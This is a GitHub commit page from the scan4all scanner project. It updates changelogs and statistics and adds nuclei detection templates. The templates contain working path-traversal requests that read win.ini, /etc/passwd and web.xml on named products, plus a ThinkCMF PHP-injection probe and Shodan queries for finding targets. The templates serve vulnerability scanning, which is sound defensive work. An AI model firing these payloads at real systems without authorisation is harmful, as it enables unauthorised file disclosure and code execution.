Skip to content

Commit 42442db

Browse files
hktalenthktalent
committed
up 2022-09-13
1 parent a2e5c0a commit 42442db

26 files changed

+15561
-11936
lines changed

‎README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -172,6 +172,7 @@ priorityNmap=false ./scan4all -tp http -list allOut.txt -v
172172
more see: <a href=https://github.com/hktalent/scan4all/discussions>discussions</a>
173173
174174
# Changelog
175+
- 2022-07-28 Added substr and aes_cbc dsl helper by me <a href="https://github.com/projectdiscovery/nuclei/releases/tag/v2.7.7">nuclei v2.7.7</a>
175176
- 2022-07-20 fix and PR nuclei <a href=https://github.com/projectdiscovery/nuclei/issues/2301>#2301</a> 并发多实例的bug
176177
- 2022-07-20 add web cache vulnerability scanner
177178
- 2022-07-19 PR nuclei <a href=https://github.com/projectdiscovery/nuclei/pull/2308>#2308</a> add dsl function: substr aes_cbc

‎README_CN.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -205,6 +205,7 @@ priorityNmap=false ./scan4all -tp http -list allOut.txt -v
205205
more see: <a href=https://github.com/hktalent/scan4all/discussions>discussions</a>
206206

207207
# 变更日志
208+
- 2022-07-28 为 nuclei 添加 substr、 aes_cbc DSL 函数<a href="https://github.com/projectdiscovery/nuclei/releases/tag/v2.7.7">nuclei v2.7.7</a>
208209
- 2022-08-03 fixed nuclei Multiple instances cache goroutine leaks PR<a href=https://github.com/projectdiscovery/nuclei/issues/2386>#2386</a>
209210
- 2022-07-20 fix and PR nuclei <a href=https://github.com/projectdiscovery/nuclei/issues/2301>#2301</a> 并发多实例的bug
210211
- 2022-07-20 add web cache vulnerability scanner

‎config/nuclei-templates/README.md

Lines changed: 12 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,
4242

4343
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
4444
|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
45-
| cve | 1414 | daffainfo | 630 | cves | 1389 | info | 1463 | http | 3823 |
46-
| panel | 649 | dhiyaneshdk | 577 | exposed-panels | 656 | high | 1000 | file | 76 |
47-
| edb | 557 | pikpikcu | 326 | vulnerabilities | 510 | medium | 811 | network | 51 |
48-
| lfi | 500 | pdteam | 269 | technologies | 280 | critical | 475 | dns | 17 |
49-
| xss | 486 | geeknik | 187 | exposures | 273 | low | 221 | | |
50-
| wordpress | 417 | dwisiswant0 | 169 | misconfiguration | 231 | unknown | 10 | | |
51-
| exposure | 404 | 0x_akoko | 162 | token-spray | 230 | | | | |
52-
| cve2021 | 350 | princechaddha | 150 | workflows | 189 | | | | |
53-
| rce | 335 | ritikchaddha | 135 | default-logins | 102 | | | | |
54-
| wp-plugin | 314 | pussycat0x | 133 | file | 76 | | | | |
55-
56-
**295 directories, 4195 files**.
45+
| cve | 1430 | daffainfo | 631 | cves | 1407 | info | 1474 | http | 3858 |
46+
| panel | 655 | dhiyaneshdk | 584 | exposed-panels | 662 | high | 1009 | file | 76 |
47+
| edb | 563 | pikpikcu | 329 | vulnerabilities | 509 | medium | 818 | network | 51 |
48+
| lfi | 509 | pdteam | 269 | technologies | 282 | critical | 478 | dns | 17 |
49+
| xss | 491 | geeknik | 187 | exposures | 275 | low | 225 | | |
50+
| wordpress | 419 | dwisiswant0 | 169 | misconfiguration | 237 | unknown | 11 | | |
51+
| exposure | 407 | 0x_akoko | 165 | token-spray | 230 | | | | |
52+
| cve2021 | 352 | princechaddha | 151 | workflows | 189 | | | | |
53+
| rce | 337 | ritikchaddha | 137 | default-logins | 103 | | | | |
54+
| wp-plugin | 316 | pussycat0x | 133 | file | 76 | | | | |
55+
56+
**296 directories, 4231 files**.
5757

5858
</td>
5959
</tr>

‎config/nuclei-templates/TEMPLATES-STATS.json

Lines changed: 1 addition & 1 deletion
Large diffs are not rendered by default.

‎config/nuclei-templates/TEMPLATES-STATS.md

Lines changed: 1855 additions & 1821 deletions
Large diffs are not rendered by default.

‎config/nuclei-templates/TOP-10.md

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,12 @@
11
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
22
|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
3-
| cve | 1414 | daffainfo | 630 | cves | 1389 | info | 1463 | http | 3823 |
4-
| panel | 649 | dhiyaneshdk | 577 | exposed-panels | 656 | high | 1000 | file | 76 |
5-
| edb | 557 | pikpikcu | 326 | vulnerabilities | 510 | medium | 811 | network | 51 |
6-
| lfi | 500 | pdteam | 269 | technologies | 280 | critical | 475 | dns | 17 |
7-
| xss | 486 | geeknik | 187 | exposures | 273 | low | 221 | | |
8-
| wordpress | 417 | dwisiswant0 | 169 | misconfiguration | 231 | unknown | 10 | | |
9-
| exposure | 404 | 0x_akoko | 162 | token-spray | 230 | | | | |
10-
| cve2021 | 350 | princechaddha | 150 | workflows | 189 | | | | |
11-
| rce | 335 | ritikchaddha | 135 | default-logins | 102 | | | | |
12-
| wp-plugin | 314 | pussycat0x | 133 | file | 76 | | | | |
3+
| cve | 1430 | daffainfo | 631 | cves | 1407 | info | 1474 | http | 3858 |
4+
| panel | 655 | dhiyaneshdk | 584 | exposed-panels | 662 | high | 1009 | file | 76 |
5+
| edb | 563 | pikpikcu | 329 | vulnerabilities | 509 | medium | 818 | network | 51 |
6+
| lfi | 509 | pdteam | 269 | technologies | 282 | critical | 478 | dns | 17 |
7+
| xss | 491 | geeknik | 187 | exposures | 275 | low | 225 | | |
8+
| wordpress | 419 | dwisiswant0 | 169 | misconfiguration | 237 | unknown | 11 | | |
9+
| exposure | 407 | 0x_akoko | 165 | token-spray | 230 | | | | |
10+
| cve2021 | 352 | princechaddha | 151 | workflows | 189 | | | | |
11+
| rce | 337 | ritikchaddha | 137 | default-logins | 103 | | | | |
12+
| wp-plugin | 316 | pussycat0x | 133 | file | 76 | | | | |

‎config/nuclei-templates/contributors.json

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,16 @@
99
"email": ""
1010
}
1111
},
12+
{
13+
"author": "0x08",
14+
"links": {
15+
"github": "https://github.com/its0x08",
16+
"twitter": "",
17+
"linkedin": "",
18+
"website": "",
19+
"email": ""
20+
}
21+
},
1222
{
1323
"author": "Dhiyaneshwaran",
1424
"links": {

‎config/nuclei-templates/cves/2022/CVE-2022-23854.yaml

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
id: CVE-2022-23854
2+
3+
info:
4+
name: AVEVA InTouch Access Anywhere Secure Gateway - Path Traversal
5+
author: For3stCo1d
6+
severity: high
7+
description: |
8+
AVEVA Group plc is a marine and plant engineering IT company headquartered in Cambridge, England. AVEVA software is used in many sectors, including on- and off-shore oil and gas processing, chemicals, pharmaceuticals, nuclear and conventional power generation, nuclear fuel reprocessing, recycling and shipbuilding (https://www.aveva.com).
9+
reference:
10+
- https://packetstormsecurity.com/files/cve/CVE-2022-23854
11+
- https://crisec.de/advisory-aveva-intouch-access-anywhere-secure-gateway-path-traversal
12+
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23854
13+
classification:
14+
cve-id: CVE-2022-23854
15+
metadata:
16+
verified: true
17+
shodan-query: http.html:"InTouch Access Anywhere"
18+
tags: lfi,packetstorm,cve,cve2022,aveva,intouch
19+
20+
requests:
21+
- method: GET
22+
path:
23+
- "{{BaseURL}}/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini"
24+
25+
matchers-condition: and
26+
matchers:
27+
- type: word
28+
words:
29+
- 'for 16-bit app support'
30+
- 'extensions'
31+
condition: and
32+
33+
- type: word
34+
part: header
35+
words:
36+
- EricomSecureGateway
37+
38+
- type: status
39+
status:
40+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-37299.yaml

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,14 +3,19 @@ id: CVE-2022-37299
33
info:
44
name: Shirne CMS 1.2.0. - Path Traversal
55
author: pikpikcu
6-
severity: critical
6+
severity: medium
77
description: Shirne CMS 1.2.0 There is a Path Traversal vulnerability which could cause arbitrary file read via /static/ueditor/php/controller.php
88
reference:
99
- https://twitter.com/pikpikcu/status/1568316864690028544
1010
- https://nvd.nist.gov/vuln/detail/CVE-2022-37299
1111
- https://gitee.com/shirnecn/ShirneCMS/issues/I5JRHJ?from=project-issue
12+
classification:
13+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
14+
cvss-score: 6.5
15+
cve-id: CVE-2022-37299
16+
cwe-id: CWE-22
1217
metadata:
13-
verified: true
18+
verified: "true"
1419
tags: cve,cve2022,shirnecms,lfi
1520

1621
requests:

‎config/nuclei-templates/cves/2022/CVE-2022-38794.yaml

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
id: CVE-2022-38794
2+
3+
info:
4+
name: Zaver - Local File Inclusion
5+
author: pikpikcu
6+
severity: high
7+
description: |
8+
Zaver through 2020-12-15 allows directory traversal via the GET /.. substring.
9+
reference:
10+
- https://github.com/zyearn/zaver/issues/22
11+
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-38794
12+
- https://nvd.nist.gov/vuln/detail/CVE-2022-38794
13+
classification:
14+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
15+
cvss-score: 7.5
16+
cve-id: CVE-2022-38794
17+
cwe-id: CWE-22
18+
tags: cve,cve2022,lfi,zaver
19+
20+
requests:
21+
- method: GET
22+
path:
23+
- '{{BaseURL}}/../../../../../../../../etc/passwd'
24+
25+
matchers-condition: and
26+
matchers:
27+
- type: regex
28+
part: body
29+
regex:
30+
- "root:[x*]:0:0"
31+
32+
- type: status
33+
status:
34+
- 200

‎config/nuclei-templates/exposed-panels/ccm-detect.yaml

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
id: ccm-detect
2+
info:
3+
name: ClearCom Core Configuration Manager (CCM) Detect
4+
author: failOpen
5+
severity: info
6+
reference:
7+
- https://www.clearcom.com/DownloadCenter/manuals/FreeSpeakII_Online_Manual/UserGuide/Content/Base/CCM/CCM.htm
8+
metadata:
9+
verified: true
10+
shodan-query: http.html:"CCM - Authentication Failure"
11+
tags: panel,clearcom,ccm
12+
13+
requests:
14+
- method: GET
15+
path:
16+
- "{{BaseURL}}"
17+
18+
matchers-condition: and
19+
matchers:
20+
- type: word
21+
part: body
22+
words:
23+
- "CCM - Authentication Failure"
24+
25+
- type: status
26+
status:
27+
- 401

‎config/nuclei-templates/exposed-panels/corebos-panel.yaml

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
id: corebos-panel
2+
3+
info:
4+
name: CoreBos - Panel
5+
author: arafatansari
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: http.html:"corebos"
10+
tags: panel,corebos
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- '{{BaseURL}}'
16+
17+
matchers-condition: and
18+
matchers:
19+
- type: word
20+
part: body
21+
words:
22+
- 'Powered by coreBOS'
23+
24+
- type: status
25+
status:
26+
- 200

‎config/nuclei-templates/vulnerabilities/generic/generic-j2ee-lfi.yaml

Lines changed: 45 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -1,44 +1,45 @@
1-
id: generic-j2ee-lfi
2-
3-
info:
4-
name: Generic J2EE LFI scan
5-
author: davidfegyver
6-
severity: high
7-
description: Looks for J2EE specific LFI vulnerabilities, tries to leak the web.xml file.
8-
reference:
9-
- https://github.com/ilmila/J2EEScan/blob/master/src/main/java/burp/j2ee/issues/impl/LFIModule.java
10-
metadata:
11-
verified: true
12-
shodan-query: http.title:"J2EE"
13-
tags: lfi,generic,j2ee
14-
15-
requests:
16-
- method: GET
17-
path:
18-
- "{{BaseURL}}/../../../../WEB-INF/web.xml"
19-
- "{{BaseURL}}/../../../WEB-INF/web.xml"
20-
- "{{BaseURL}}/../../WEB-INF/web.xml"
21-
- "{{BaseURL}}/%c0%ae/%c0%ae/WEB-INF/web.xml"
22-
- "{{BaseURL}}/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml"
23-
- "{{BaseURL}}/%c0%ae/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml"
24-
- "{{BaseURL}}/../../../WEB-INF/web.xml;x="
25-
- "{{BaseURL}}/../../WEB-INF/web.xml;x="
26-
- "{{BaseURL}}/../WEB-INF/web.xml;x="
27-
- "{{BaseURL}}/WEB-INF/web.xml"
28-
- "{{BaseURL}}/.//WEB-INF/web.xml"
29-
- "{{BaseURL}}/../WEB-INF/web.xml"
30-
- "{{BaseURL}}/%c0%ae/WEB-INF/web.xml"
31-
32-
stop-at-first-match: true
33-
matchers-condition: and
34-
matchers:
35-
- type: word
36-
part: body
37-
words:
38-
- "<servlet-name>"
39-
- "</web-app>"
40-
condition: and
41-
42-
- type: status
43-
status:
44-
- 200
1+
id: generic-j2ee-lfi
2+
3+
info:
4+
name: Generic J2EE LFI scan
5+
author: davidfegyver
6+
severity: high
7+
description: Looks for J2EE specific LFI vulnerabilities, tries to leak the web.xml file.
8+
reference:
9+
- https://github.com/ilmila/J2EEScan/blob/master/src/main/java/burp/j2ee/issues/impl/LFIModule.java
10+
- https://gist.github.com/harisec/519dc6b45c6b594908c37d9ac19edbc3
11+
metadata:
12+
verified: true
13+
shodan-query: http.title:"J2EE"
14+
tags: lfi,generic,j2ee
15+
16+
requests:
17+
- method: GET
18+
path:
19+
- "{{BaseURL}}/../../../../WEB-INF/web.xml"
20+
- "{{BaseURL}}/../../../WEB-INF/web.xml"
21+
- "{{BaseURL}}/../../WEB-INF/web.xml"
22+
- "{{BaseURL}}/%c0%ae/%c0%ae/WEB-INF/web.xml"
23+
- "{{BaseURL}}/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml"
24+
- "{{BaseURL}}/%c0%ae/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml"
25+
- "{{BaseURL}}/../../../WEB-INF/web.xml;x="
26+
- "{{BaseURL}}/../../WEB-INF/web.xml;x="
27+
- "{{BaseURL}}/../WEB-INF/web.xml;x="
28+
- "{{BaseURL}}/WEB-INF/web.xml"
29+
- "{{BaseURL}}/.//WEB-INF/web.xml"
30+
- "{{BaseURL}}/../WEB-INF/web.xml"
31+
- "{{BaseURL}}/%c0%ae/WEB-INF/web.xml"
32+
33+
stop-at-first-match: true
34+
matchers-condition: and
35+
matchers:
36+
- type: word
37+
part: body
38+
words:
39+
- "<servlet-name>"
40+
- "</web-app>"
41+
condition: and
42+
43+
- type: status
44+
status:
45+
- 200

‎config/nuclei-templates/vulnerabilities/thinkcmf/thinkcmf-arbitrary-code-execution.yaml

Lines changed: 3 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -6,22 +6,18 @@ info:
66
severity: high
77
reference:
88
- https://www.shuzhiduo.com/A/l1dygr36Je/
9-
tags: thinkcmf
9+
tags: thinkcmf,rce
1010

1111
requests:
1212
- method: GET
1313
path:
14-
- "{{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20phpinfo();"
14+
- "{{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20echo%20md5('ThinkCMF');"
1515

1616
matchers-condition: and
1717
matchers:
1818
- type: word
1919
words:
20-
- "PHP Extension"
21-
- "PHP Version"
22-
- "PHP License"
23-
- "PHP Variables"
24-
condition: and
20+
- "d9b2c63a497e2f30c4ad9ad083a00691"
2521

2622
- type: status
2723
status:

‎config/nuclei-templates/vulnerabilities/videoxpert-lfi.yaml

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
id: videoxpert-lfi
2+
3+
info:
4+
name: Schneider Electric Pelco VideoXpert Core Admin Portal - Directory Traversal
5+
author: 0x_akoko
6+
severity: high
7+
description: Pelco VideoXpert suffers from a directory traversal vulnerability. Exploiting this issue will allow an unauthenticated attacker to view arbitrary files within the context of the web server.
8+
reference:
9+
- https://packetstormsecurity.com/files/143317/Schneider-Electric-Pelco-VideoXpert-Core-Admin-Portal-Directory-Traversal.html
10+
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5419.php
11+
metadata:
12+
shodan-query: title:"VideoXpert"
13+
tags: schneider,pelco,packetstorm,lfi,videoxpert
14+
15+
requests:
16+
- method: GET
17+
path:
18+
- '{{BaseURL}}/portal//..\\\..\\\..\\\..\\\windows\win.ini'
19+
20+
matchers-condition: and
21+
matchers:
22+
- type: word
23+
part: body
24+
words:
25+
- 'bit app support'
26+
- 'fonts'
27+
- 'extensions'
28+
condition: and
29+
30+
- type: status
31+
status:
32+
- 200

0 commit comments

Comments
 (0)